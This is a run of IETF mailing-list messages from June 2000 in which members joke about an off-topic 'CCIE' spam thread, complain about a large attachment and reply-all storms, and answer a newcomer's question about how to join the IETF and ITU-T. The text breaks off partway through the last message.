MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.71.1712.3
X-MimeOLE: Produced By Microsoft MimeOLE V4.71.1712.3
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hello
    Can you tell me where to get a free shopping cart for my web page?
Thanks!

Cat's Candles
http://www.geocities.com/catscandles






From owner-ietf-outbound  Wed Jun 14 17:10:32 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA04358
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 17:10:02 -0400 (EDT)
Received: from mail.nbn.net (root@nbn.net [207.51.86.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04316
	for <ietf@ietf.org>; Wed, 14 Jun 2000 17:07:39 -0400 (EDT)
Received: from server-1 (dial2-45.nbn.net [208.139.67.87])
	by mail.nbn.net (8.9.3/8.9.3) with SMTP id RAA18734
	for <ietf@ietf.org>; Wed, 14 Jun 2000 17:07:38 -0400
Message-ID: <3947F6ED.CB9@nbn.net>
Date: Wed, 14 Jun 2000 17:19:41 -0400
From: Betsy Brennan <bbrennan@nbn.net>
Reply-To: bbrennan@nbn.net
X-Mailer: Mozilla 3.04 (Win95; U)
MIME-Version: 1.0
To: "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: Re: CCIE - I still don't know
References: <200006141947.PAA03002@ietf.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

But what is a CCIE?



From owner-ietf-outbound  Wed Jun 14 17:30:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA04574
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 17:30:03 -0400 (EDT)
Received: from cissc.cisoc.canon.com (keymaster.cis.canon.com [63.88.207.66])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04542
	for <ietf@ietf.org>; Wed, 14 Jun 2000 17:27:56 -0400 (EDT)
Received: by cissc002.cisoc.canon.com with Internet Mail Service (5.5.2650.21)
	id <MW1CRQYC>; Wed, 14 Jun 2000 14:27:27 -0700
Message-ID: <6C940F5153E5D211937A0090274E8D8B17E3FE@cissc002.cisoc.canon.com>
From: "Shen, Peter" <peter.shen@cis.canon.com>
To: "'Betsy Brennan'" <bbrennan@nbn.net>
Cc: "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: RE: CCIE - I still don't know
Date: Wed, 14 Jun 2000 14:27:18 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

Cisco Certified Internetwork Expert (CCIE) 

OK! NO more CCIE!

Peter Shen
Canon Information System





-----Original Message-----
From: Betsy Brennan [mailto:bbrennan@nbn.net]
Sent: Wednesday, June 14, 2000 2:20 PM
To: Ietf@Ietf. Org
Subject: Re: CCIE - I still don't know


But what is a CCIE?



From owner-ietf-outbound  Wed Jun 14 17:50:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA04853
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 17:50:01 -0400 (EDT)
Received: from breakaway.Stanford.EDU (breakaway.Stanford.EDU [171.64.20.202])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA04764
	for <ietf@ietf.org>; Wed, 14 Jun 2000 17:43:39 -0400 (EDT)
Received: from localhost (hodges@localhost)
	by breakaway.Stanford.EDU (8.9.3/8.9.3) with ESMTP id OAA21042
	for <ietf@ietf.org>; Wed, 14 Jun 2000 14:43:39 -0700 (PDT)
Message-Id: <200006142143.OAA21042@breakaway.Stanford.EDU>
X-Mailer: exmh version 2.0.2 2/24/98
Subject: Re: CCIE - I still don't know 
To: ietf@ietf.org
In-reply-to: Your message of Wed, 14 Jun 2000 17:19:41 -0400
Reply-to: ietf@ietf.org
From: Jeff.Hodges@stanford.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 14 Jun 2000 14:43:39 -0700
Sender: hodges@breakaway.Stanford.EDU
X-Loop: ietf@ietf.org

Using..

  http://www.onelook.com/

..and subsequently..

  BABEL: A Glossary of Computer Oriented Abbreviations and Acronyms
  http://www.geocities.com/ikind_babel/babel/babel.html

..we see..

  CCIE      Cisco Certified Internetwork Expert   [cisco]


JeffH




From owner-ietf-outbound  Wed Jun 14 19:20:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id TAA05901
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 19:20:01 -0400 (EDT)
Received: from isua3.iastate.edu (isua3.iastate.edu [129.186.1.139])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05876;
	Wed, 14 Jun 2000 19:18:46 -0400 (EDT)
Received: from localhost (muralikv@localhost)
	by isua3.iastate.edu (8.8.8/8.8.5) with SMTP id SAA19287;
	Wed, 14 Jun 2000 18:18:33 -0500 (CDT)
Date: Wed, 14 Jun 2000 18:18:32 -0500 (CDT)
From: Murali K Viswanathan <muralikv@iastate.edu>
To: Kevin Lahey <kml@logictier.com>
cc: "mark.paton" <mark.paton@btinternet.com>, "Ietf@Ietf. Org" <ietf@ietf.org>,
        kml@ietf.org
Subject: Re: CCIE 
In-Reply-To: <200006141934.PAA02770@ietf.org>
Message-ID: <Pine.OSF.3.95.1000614181645.16738B-100000@isua3.iastate.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org



Wow, look at what all the top network professionals/researchers in the
world are upto!? Networking is happening or what. Just when one thought we
had seen the last of the CCIEs there comes another one. If a spam on CCIE
draws the interest of the folks subscribing to ietf, then being a grad
student I need to follow the steps of the people I aspire to be.

So here we go, one more to the list. If anyone else has been holding back
from sending email for a long while now, showing some consideration to the
people on the list, please do not do so. You can get amazing relief by
contributing to the list and getting to feel one among them.
  
Lets build the networks for the future - that can take all the spam.
Mur

TODAY IS THE FIRST DAY OF THE REST OF MY LIFE
Murali K Viswanathan
Grad. Student, Electrical and Computer Eng.,
Iowa State Univ., Ames, IA - 50011.



From owner-ietf-outbound  Wed Jun 14 23:10:30 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA10143
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 23:10:02 -0400 (EDT)
Received: from shell.servuhome.net (IDENT:root@dsl-208-161-103-32.easystreet.com [208.161.103.32])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA10106
	for <ietf@ietf.org>; Wed, 14 Jun 2000 23:07:46 -0400 (EDT)
Received: from weberfamily (gc-nas-04-s95-tier1.evansville.net [208.202.240.96])
	by shell.servuhome.net (8.10.1/8.8.7) with SMTP id e5F37ES25907;
	Wed, 14 Jun 2000 20:07:14 -0700
Message-ID: <003201bfd676$e19fe260$60f0cad0@weberfamily>
From: "Kurt Weber" <kurt@servuhome.net>
To: "Kevin Lahey" <kml@logictier.com>
Cc: <ietf@ietf.org>
References: <200006141934.PAA02770@ietf.org>
Subject: Re: CCIE 
Date: Wed, 14 Jun 2000 22:07:44 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

OK...what was the point of that message?  It took me 7 minutes to download
on a 56k modem.  Not all of us have 45-megabit connections.  If you want to
send it to him, fine, but please don't send that to everyone else.  It
crashed my entire system five times just because it ran out of memory.

Regards,
Kurt Weber
kurt@rowsw.com
ROW Software and Web Design
http://www.rowsw.com




From owner-ietf-outbound  Wed Jun 14 23:20:17 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA10286
	for ietf-outbound.10@ietf.org; Wed, 14 Jun 2000 23:20:02 -0400 (EDT)
Received: from roam.psg.com (mg-206253202-39.ricochet.net [206.253.202.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA10214
	for <ietf@ietf.org>; Wed, 14 Jun 2000 23:14:37 -0400 (EDT)
Received: from randy by roam.psg.com with local (Exim 3.12 #1)
	id 132Q1x-0001D6-00; Wed, 14 Jun 2000 20:09:21 -0700
From: Randy Bush <randy@psg.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: "Shen, Peter" <peter.shen@cis.canon.com>
Cc: "'Betsy Brennan'" <bbrennan@nbn.net>, "Ietf@Ietf. Org" <ietf@ietf.org>
Subject: RE: CCIE - I still don't know
References: <6C940F5153E5D211937A0090274E8D8B17E3FE@cissc002.cisoc.canon.com>
Message-Id: <E132Q1x-0001D6-00@roam.psg.com>
Date: Wed, 14 Jun 2000 20:09:21 -0700
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

> Cisco Certified Internetwork Expert (CCIE) 

certified to spam



From owner-ietf-outbound  Thu Jun 15 10:00:44 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA02166
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 10:00:02 -0400 (EDT)
Received: from mail.xybridge.com (IDENT:root@[209.111.160.85])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA02031
	for <ietf@ietf.org>; Thu, 15 Jun 2000 09:53:33 -0400 (EDT)
Received: from yixin ([10.10.13.107])
	by mail.xybridge.com (8.9.3/8.9.3) with SMTP id IAA21126
	for <ietf@ietf.org>; Thu, 15 Jun 2000 08:05:07 -0500
From: "Yixin Zhu" <yixin@xybridge.com>
To: <ietf@ietf.org>
Subject: IETF, ITU-T membership
Date: Thu, 15 Jun 2000 08:54:08 -0500
Message-ID: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <003201bfd676$e19fe260$60f0cad0@weberfamily>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,


My company is interested in joining IETF and ITU-T standard body, Can some
one here tell me what are the procedures and fees ?  Your help is greatly
appreciated.

Regards,

Yixin (James) Zhu

yixin@xybridge.com
Visit us at www.xybridge.com




From owner-ietf-outbound  Thu Jun 15 10:20:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA02794
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 10:20:02 -0400 (EDT)
Received: from zot.localdomain (IDENT:root@ip240.cvd2.rb1.bel.nwlink.com [207.202.151.240])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02721
	for <ietf@ietf.org>; Thu, 15 Jun 2000 10:15:25 -0400 (EDT)
Received: from flash.localdomain (IDENT:root@flash [10.0.0.6])
	by zot.localdomain (8.9.3/8.9.3) with ESMTP id HAA29500;
	Thu, 15 Jun 2000 07:15:25 -0700
Received: (from mark@localhost)
	by flash.localdomain (8.9.3/8.9.3) id HAA19693;
	Thu, 15 Jun 2000 07:19:25 -0700
X-Authentication-Warning: flash.localdomain: mark set sender to mra@pobox.com using -f
Sender: mark@flash.localdomain
To: "Yixin Zhu" <yixin@xybridge.com>
Cc: <ietf@ietf.org>
Subject: Re: IETF, ITU-T membership
References: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
From: Mark Atwood <mra@pobox.com>
Date: 15 Jun 2000 07:19:25 -0700
In-Reply-To: "Yixin Zhu"'s message of "Thu, 15 Jun 2000 08:54:08 -0500"
Message-ID: <m38zw758nm.fsf@flash.localdomain>
Lines: 15
User-Agent: Gnus/5.0806 (Gnus v5.8.6) Emacs/20.3
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Loop: ietf@ietf.org

"Yixin Zhu" <yixin@xybridge.com> writes:
> 
> My company is interested in joining IETF and ITU-T standard body, Can some
> one here tell me what are the procedures and fees ?  Your help is greatly
> appreciated.

IETF is easy. Join some mailing lists, have useful things to say,
and show up at the meetings.


-- 
Mark Atwood   | It is the hardest thing for intellectuals to understand, that
mra@pobox.com | just because they haven't thought of something, somebody else
              | might. <http://www.friesian.com/rifkin.htm>
http://www.pobox.com/~mra



From owner-ietf-outbound  Thu Jun 15 10:30:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA03080
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 10:30:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA02979
	for <ietf@ietf.org>; Thu, 15 Jun 2000 10:26:59 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta1/8.11.0.Beta1) with ESMTP id e5FEQsL23962;
	Thu, 15 Jun 2000 10:26:54 -0400
Message-Id: <200006151426.e5FEQsL23962@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.2 06/07/2000
To: Mark Atwood <mra@pobox.com>
Cc: Yixin Zhu <yixin@xybridge.com>, ietf@ietf.org
Subject: Re: IETF, ITU-T membership 
In-Reply-To: Your message of "Thu, 15 Jun 2000 07:19:25 PDT."
             <m38zw758nm.fsf@flash.localdomain> 
X-Url: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
            <m38zw758nm.fsf@flash.localdomain>
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-541989376P";
	 micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Thu, 15 Jun 2000 10:26:53 -0400
X-Loop: ietf@ietf.org

--==_Exmh_-541989376P
Content-Type: text/plain; charset=us-ascii

On Thu, 15 Jun 2000 07:19:25 PDT, Mark Atwood said:
> "Yixin Zhu" <yixin@xybridge.com> writes:
> > 
> > My company is interested in joining IETF and ITU-T standard body, Can some
> > one here tell me what are the procedures and fees ?  Your help is greatly
> > appreciated.
> 
> IETF is easy. Join some mailing lists, have useful things to say,
> and show up at the meetings.

Hmm.. and here I thought the meetings were optional unless you were running
for a WG chair or something? 

I happen to know that a number of other recognizable names on this list
have never actually been seen at an IETF meeting.  If you've met me at
an IETF meeting, it was an alien impostor. ;)

-- 
				Valdis Kletnieks
				Operating Systems Analyst
				Virginia Tech



--==_Exmh_-541989376P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: PGP 6.5.2
Comment: Exmh version 2.1.2 06/07/2000

iQA/AwUBOUjnrHAt5Vm009ewEQLx1ACcDdsoj81OwyHIJN3WRJe9CvWbMfIAn3k6
0vEKHFlSDUyWdRcfhr1EOSQh
=56vB
-----END PGP SIGNATURE-----

--==_Exmh_-541989376P--



From owner-ietf-outbound  Thu Jun 15 10:50:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA03555
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 10:50:02 -0400 (EDT)
Received: from corpnt3.born.com (mail.born.com [64.208.96.26])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03505
	for <ietf@ietf.org>; Thu, 15 Jun 2000 10:49:13 -0400 (EDT)
From: Brian.Rubarts@born.com
Received: by corpnt3.born.com with Internet Mail Service (5.5.2650.21)
	id <M85GFQQP>; Thu, 15 Jun 2000 09:49:08 -0500
Message-ID: <A427D1278F7CD311B1670008C7FAA62A04E0F27D@corpnt3.born.com>
To: peter.shen@cis.canon.com, bbrennan@nbn.net
Cc: ietf@ietf.org
Subject: RE: CCIE - I still don't know
Date: Thu, 15 Jun 2000 09:49:06 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Loop: ietf@ietf.org

Ya know, I used to work at EDS.  One day, a guy sent a message to a
distribution list rather than to the specific person that they meant to.  It
was some sales guy, so immediately, people start sending these angry "don't
spam me, remove me from your list..." messages in reply.  The problem is,
they would hit reply all (like I just did) rather than simply reply.  As the
messages began to mount up, supposedly really smart EDSers started trying to
educate the ignorant masses of EDSers by replying all to tell them not to
reply all.  Of course, their voice was lost in the wilderness of reply all
messages.  The result?  For two days, the mail servers were constantly
crashing and coming back up only to crash again....


Brian


-----Original Message-----
From: Shen, Peter [mailto:peter.shen@cis.canon.com]
Sent: Wednesday, June 14, 2000 4:27 PM
To: 'Betsy Brennan'
Cc: Ietf@Ietf. Org
Subject: RE: CCIE - I still don't know


Cisco Certified Internetwork Expert (CCIE) 

OK! NO more CCIE!

Peter Shen
Canon Information System





-----Original Message-----
From: Betsy Brennan [mailto:bbrennan@nbn.net]
Sent: Wednesday, June 14, 2000 2:20 PM
To: Ietf@Ietf. Org
Subject: Re: CCIE - I still don't know


But what is a CCIE?



From owner-ietf-outbound  Thu Jun 15 11:00:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA03956
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 11:00:02 -0400 (EDT)
Received: from episteme-software.com (resnick1.qualcomm.com [63.250.90.98])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03617
	for <ietf@ietf.org>; Thu, 15 Jun 2000 10:51:00 -0400 (EDT)
Received: from resnick2.qualcomm.com (63.250.90.99) by 
 episteme-software.com with ESMTP (Eudora
 Internet Mail Server 3.0.1a1); Thu, 15 Jun 2000 09:50:16 -0500
Mime-Version: 1.0
X-Sender: resnick@resnick1.qualcomm.com (Unverified)
Message-Id: <a0431141cb56e9d43d214@resnick2.qualcomm.com>
In-Reply-To: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
References: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
X-Mailer: Eudora [Macintosh version 4.3.1b20-05.00]
Date: Thu, 15 Jun 2000 09:50:13 -0500
To: "Yixin Zhu" <yixin@xybridge.com>
From: Pete Resnick <presnick@qualcomm.com>
Subject: Re: IETF, ITU-T membership
Cc: <ietf@ietf.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Loop: ietf@ietf.org

On 6/15/00 at 8:54 AM -0500, Yixin Zhu wrote:

>My company is interested in joining IETF

As a matter of fact, your company cannot join the IETF; the IETF is 
made up of individuals, not companies.

For an individual to join the IETF, just sign up for one of the IETF 
mailing lists. See <http://www.ietf.org/join.html>

pr
-- 
Pete Resnick <mailto:presnick@qualcomm.com>
Eudora Engineering - QUALCOMM Incorporated



From owner-ietf-outbound  Thu Jun 15 11:10:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA04359
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 11:10:02 -0400 (EDT)
Received: from sigma.cisco.com (sigma.cisco.com [171.69.63.142])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA03928
	for <ietf@ietf.org>; Thu, 15 Jun 2000 10:59:59 -0400 (EDT)
Received: (from dhaval@localhost)
	by sigma.cisco.com (8.8.8-Cisco List Logging/8.8.8) id HAA08733;
	Thu, 15 Jun 2000 07:58:59 -0700 (PDT)
From: Dhaval Shah <dhaval@cisco.com>
Message-Id: <200006151458.HAA08733@sigma.cisco.com>
Subject: Re: IETF, ITU-T membership
To: yixin@xybridge.com (Yixin Zhu)
Date: Thu, 15 Jun 2000 07:58:58 -0700 (PDT)
Cc: ietf@ietf.org
In-Reply-To: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com> from "Yixin Zhu" at Jun 15, 2000 08:54:08 AM
X-Mailer: ELM [version 2.5 PL1]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Hi,

Check out www.ietf.org

Dhaval

> 
> Hi,
> 
> 
> My company is interested in joining IETF and ITU-T standard body, Can some
> one here tell me what are the procedures and fees ?  Your help is greatly
> appreciated.
> 
> Regards,
> 
> Yixin (James) Zhu
> 
> yixin@xybridge.com
> Visit us at www.xybridge.com
> 
> 
> 
> 



From owner-ietf-outbound  Thu Jun 15 11:30:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA04970
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 11:30:03 -0400 (EDT)
Received: from c014.sfo.cp.net (c014-h009.c014.sfo.cp.net [209.228.12.73])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA04487
	for <ietf@ietf.org>; Thu, 15 Jun 2000 11:12:36 -0400 (EDT)
From: narakamath@lightel.com
Received: (cpmta 8856 invoked from network); 15 Jun 2000 08:12:08 -0700
Date: 15 Jun 2000 08:12:08 -0700
Message-ID: <20000615151208.8855.cpmta@c014.sfo.cp.net>
X-Sent: 15 Jun 2000 15:12:08 GMT
Received: from [198.102.173.112] by mail.lightel.com with HTTP;
    15 Jun 2000 08:12:08 PDT
Content-Type: text/plain
Content-Disposition: inline
Mime-Version: 1.0
To: yixin@xybridge.com
Cc: ietf@ietf.org
X-Mailer: Web Mail 3.6.3.1
Subject: Re: IETF, ITU-T membership
X-Loop: ietf@ietf.org

My company is also interested in joining the same organizations.  Please let me also know.  Thanks.

Nara Kamath
President & CEO
Lightel Systems Corporation
www.lightel.com



On Thu, 15 June 2000, "Yixin Zhu" wrote:

> 
> Hi,
> 
> 
> My company is interested in joining IETF and ITU-T standard body, Can some
> one here tell me what are the procedures and fees ?  Your help is greatly
> appreciated.
> 
> Regards,
> 
> Yixin (James) Zhu
> 
> yixin@xybridge.com
> Visit us at www.xybridge.com




From owner-ietf-outbound  Thu Jun 15 11:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA05344
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 11:40:02 -0400 (EDT)
Received: from shell.servuhome.net (IDENT:root@dsl-208-161-103-32.easystreet.com [208.161.103.32])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04822
	for <ietf@ietf.org>; Thu, 15 Jun 2000 11:24:42 -0400 (EDT)
Received: from weberfamily (pm06-s9-tier1.evansville.net [204.120.29.74])
	by shell.servuhome.net (8.10.1/8.8.7) with SMTP id e5FEvrS13772;
	Thu, 15 Jun 2000 07:57:53 -0700
Message-ID: <000d01bfd6da$27d2bc40$4a1d78cc@weberfamily>
From: "Kurt Weber" <kurt@servuhome.net>
To: "Book, Robert" <Robert.BookIII@cwusa.com>
Cc: <ietf@ietf.org>
References: <F685A00DB7B4D111B2400020AFFC2D580D702F32@us-cwi-exc-a03.cwi.cablew.com>
Subject: Re: CCIE 
Date: Thu, 15 Jun 2000 09:58:22 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Man, I wish I had 8 megs of RAM ;-)

Regards,
Kurt Weber
kurt@rowsw.com
ROW Software and Web Design
http://www.rowsw.com

----- Original Message -----
From: "Book, Robert" <Robert.BookIII@cwusa.com>
To: "'Kurt Weber'" <kurt@servuhome.net>
Sent: Thursday, June 15, 2000 9:53 AM
Subject: RE: CCIE


> Kurt,
> Just an aside. Perhaps, onerous as the thought may be, it's time to
> upgrade from your '286 w/8MB of RAM and 20 MB harddrive. :-)But your point
> is well taken. There's been far too little on-topic conversations on this
> mailing list.
> Regards,
> Robert
>
> -----Original Message-----
> From: Kurt Weber [mailto:kurt@servuhome.net]
> Sent: Wednesday, June 14, 2000 11:08 PM
> To: Kevin Lahey
> Cc: ietf@ietf.org
> Subject: Re: CCIE
>
>
> OK...what was the point of that message?  It took me 7 minutes to download
> on a 56k modem.  Not all of us have 45-megabit connections.  If you want
to
> send it to him, fine, but please don't send that to everyone else.  It
> crashed my entire system five times just because it ran out of memory.
>
> Regards,
> Kurt Weber
> kurt@rowsw.com
> ROW Software and Web Design
> http://www.rowsw.com
>



From owner-ietf-outbound  Thu Jun 15 11:50:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id LAA05628
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 11:50:02 -0400 (EDT)
Received: from mail2.itu.int (mail2.itu.ch [156.106.192.18])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA05118
	for <ietf@ietf.org>; Thu, 15 Jun 2000 11:31:07 -0400 (EDT)
Received: by mail2.itu.ch with Internet Mail Service (5.5.2650.21)
	id <M5YTYS0Q>; Thu, 15 Jun 2000 17:26:58 +0200
Message-ID: <DA5558CC09AED311ABE10000778D757F4C2DBA@mailsrv.itu.ch>
From: "Shaw, Robert" <Robert.Shaw@itu.int>
To: "'Yixin Zhu'" <yixin@xybridge.com>
Cc: ietf@ietf.org
Subject: RE: IETF, ITU-T membership
Date: Thu, 15 Jun 2000 17:30:37 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
X-Loop: ietf@ietf.org

For ITU-T membership information, contact

Ms Saba Imru-Caminiti
Tel : +41 22 730 5861, Fax :+41 22 730 5853
Email : saba.imru-caminiti@itu.int

The ITU-T home page is at http://www.itu.int/ITU-T/index.html

Bob
--
Robert Shaw <robert.shaw@itu.int>
ITU Internet Strategy and Policy Advisor
International Telecommunication Union <http://www.itu.int>
Place des Nations, 1211 Geneva, Switzerland
 

> -----Original Message-----
> From: Yixin Zhu [mailto:yixin@xybridge.com]
> Sent: 15 June 2000 15:54
> To: ietf@ietf.org
> Subject: IETF, ITU-T membership
> 
> 
> Hi,
> 
> 
> My company is interested in joining IETF and ITU-T standard 
> body, Can some one here tell me what are the procedures and 
> fees ?  Your help is greatly appreciated.
> 
> Regards,
> 
> Yixin (James) Zhu
> 
> yixin@xybridge.com
> Visit us at www.xybridge.com
> 
> 
> -
> This message was passed through ietf+censored@alvestrand.no, which
> is a sublist of ietf@ietf.org. Not all messages are passed.
> Decisions on what to pass are made solely by Harald Alvestrand.
> 



From owner-ietf-outbound  Thu Jun 15 12:10:16 2000
Received: by ietf.org (8.9.1a/8.9.1a) id MAA06261
	for ietf-outbound.10@ietf.org; Thu, 15 Jun 2000 12:10:02 -0400 (EDT)
Received: from janus.cypress.com (janus.cypress.com [157.95.1.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05977
	for <ietf@ietf.org>; Thu, 15 Jun 2000 12:00:58 -0400 (EDT)
Received: from cobweb.mis.cypress.com (cobweb.mis.cypress.com [172.16.2.5])
	by janus.cypress.com (8.9.1a/8.9.1) with ESMTP id IAA12747;
	Thu, 15 Jun 2000 08:58:25 -0700 (PDT)
Received: from cypress.com (max-ip146.mis.cypress.com [157.95.237.146])
	by cobweb.mis.cypress.com (8.8.8/8.8.8) with ESMTP id IAA03293;
	Thu, 15 Jun 2000 08:58:28 -0700 (PDT)
Message-ID: <3948FC88.8BC58320@cypress.com>
Date: Thu, 15 Jun 2000 08:55:52 -0700
From: Pankaj K Jha <pkj@cypress.com>
Organization: Cypress  Semiconductor Corp.
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Valdis.Kletnieks@vt.edu
CC: Mark Atwood <mra@pobox.com>, Yixin Zhu <yixin@xybridge.com>, ietf@ietf.org
Subject: Re: IETF, ITU-T membership
References: <NDBBIFGHKLHKNCMEKGHAAEIKCBAA.yixin@xybridge.com>
	            <m38zw758nm.fsf@flash.localdomain> <200006151426.e5FEQsL23962@black-ice.cc.vt.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Yixin:

There is no such thing as IETF membership, it is free; you only pay ($325-$425) if
you come to meetings that are held every few months. Go to www.ietf.org. Best way
to keep posted is to join some mailing lists in your areas of interest. Surf
around the mailing lists and draft submissions and you'll be able to gather a lot
of information.

For ITU-T, go to www.itu.ch. You should be able to find membership info there.

To Valdis & Mark:

Both of you did your part of email exchanges, but did not bother to properly
answer the question that was asked.

Keep in mind that the person is asking for a genuine help. Also, do not think that
it's funny and amazing that someone does not know these 'basic' rules of life such
as how to join IETF/ITU-T. There is no rocket science here. There is always a
first time, and then you realize it's no big deal at all.

If you can't answer someone's questions, please do not jump to your keyboard to
type something that you think is filled with a great sense of humor (it's actually
not,  regardless of how many times you put the smiley letters) and send to entire
IETF community.

It's truly irritating that people do not spend their time responding to technical
